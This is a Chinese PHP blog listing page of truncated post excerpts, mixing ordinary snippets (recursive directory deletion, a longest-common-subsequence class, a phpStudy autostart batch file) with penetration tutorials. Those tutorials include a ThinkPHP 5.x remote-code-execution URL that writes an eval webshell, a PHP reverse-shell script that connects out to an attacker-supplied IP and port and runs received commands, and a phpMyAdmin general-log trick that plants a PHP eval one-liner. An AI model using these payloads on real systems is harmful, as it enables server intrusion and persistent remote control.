2020-4-3 myluzh
PHP
//删除指定文件夹以及文件夹下的所有文件
function deldir($dir) {
//先删除目录下的文件:
$dh=opendir($dir);
while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
$fullpath=$dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
}
closedir($dh);
//删除当前文件夹:
if(rmdir($dir)) {
return true;
} else {
return false;
}
}
阅读全文>>
标签: php
评论(0)
(723)
2020-3-30 myluzh
PHP
可以计算两个字符串之间最长公共子序列或者相似度,但是比较吃内存。
<?php
class LCS {
var $str1;
var $str2;
var $c = array();
/*返回串一和串二的最长公共子序列
*/
function getLCS($str1, $str2, $len1 = 0, $len2 = 0) {
$this->str1 = $str1;
$this->str2 = $str2;
if ($len1 == 0) $len1 = strlen($str1);
if ($len2 == 0) $len2 = strlen($str2);
$this->initC($len1, $len2);
return $this->printLCS($this->c, $len1 - 1, $len2 - 1);
}
/*返回两个串的相似度
*/
function getSimil...
阅读全文>>
标签: php 算法
评论(0)
(875)
2020-3-25 myluzh
PHP
0x01影响版本:
ThinkPHP v5.0系列<5.0.23
ThinkPHP v5.1系列<5.1.31
0x02漏洞分析:
关键代码:
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
该漏洞形成的原因是ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤,在没有开启强制路由的情况下,攻击者可以通过输入‘\’字符的方式调用任意方法,从而实现远程代码执行。
0x03入侵利用
1. 写入 Shell
http//localhost/thinkphp-5.1.29/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_REQUEST[...
阅读全文>>
标签: 渗透 php 漏洞 ThinkPHP 远程命令执行
评论(0)
(1485)
2020-3-21 myluzh
PHP
在Window的文件资源管理器地址输入StartUp文件夹地址,
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp或
%programdata%\Microsoft\Windows\Start Menu\Programs\Startup
加入一个bat文件,内容如下,记得改下面phpstudy地址,这边是D:\phpstudy_pro\:
%1 %2
ver|find "5.">nul&&goto :Admin
mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :Admin","","runas",1)(window.close)&goto :eof
:Admin
D:\phpstudy_pro\Extensions\MySQL5.7.26\bin\mysqld --install
D:\phpstudy_pro\Extensions\Apache2.4.39\bin\httpd.exe -k insta...
阅读全文>>
标签: phpstudy_pro windows 自启
评论(0)
(905)
2020-3-6 myluzh
PHP
需要传递ip跟port两个参数,ip为攻击机的ip,port为自定义端口
<?php
set_time_limit(0);
$ip=$_GET['ip']
$port=$_GET['port'];
if ($ip == "" and $port == "") {
echo "[ip] [port] not defined";
exit();
}
$fp = @fsockopen($ip, $port, $errno, $errstr);
if (!$fp) {
echo "connection timed out";
} else {
fputs($fp, "\n++++++++++connect success++++++++\n");
while (!feof($fp)) {
fputs($fp, "shell:"); //输出
$shell = fgets($fp);
$message = `$shell`;
fputs($fp, $message);
}
...
阅读全文>>
标签: php 反弹 shell
评论(0)
(1040)
2020-3-3 myluzh
PHP
条件:需要使用root登陆phpmyadmin
0x01开启日志
进入phpmyadmin后,选择变量
1.找到“general log”选择“ON”开启,也可以通过sql语句开启日志
set global general_log='on'
2.找到“general log file”选项把日志后缀名.log改为.php,把路径改到站点根目录www下面,也可通过执行sql语句,修改日志保存位置
set global general_log_file='D:/phpstudy_pro/WWW/log.php'
要写日志文件路径必须要知道根路径,否则即使写入了也无法访问,也就自然无法getshell。可以通过sql语句show variables like 'datadir'查询数据库位置,一般情况可以知道根路径。爆路径的方法具体情况具体分析
0x02写入shell
执行sql查询语句,然后php一句话就会被记录到日志文件中。
SELECT"<?php @eval($_REQUEST['a']);?>"
我们可以查看日志文件,一句话已经被写入:
0x03拿shell
访问站点...
阅读全文>>
标签: 渗透 phpMyAdmin 日志 getwebshell
评论(0)
(855)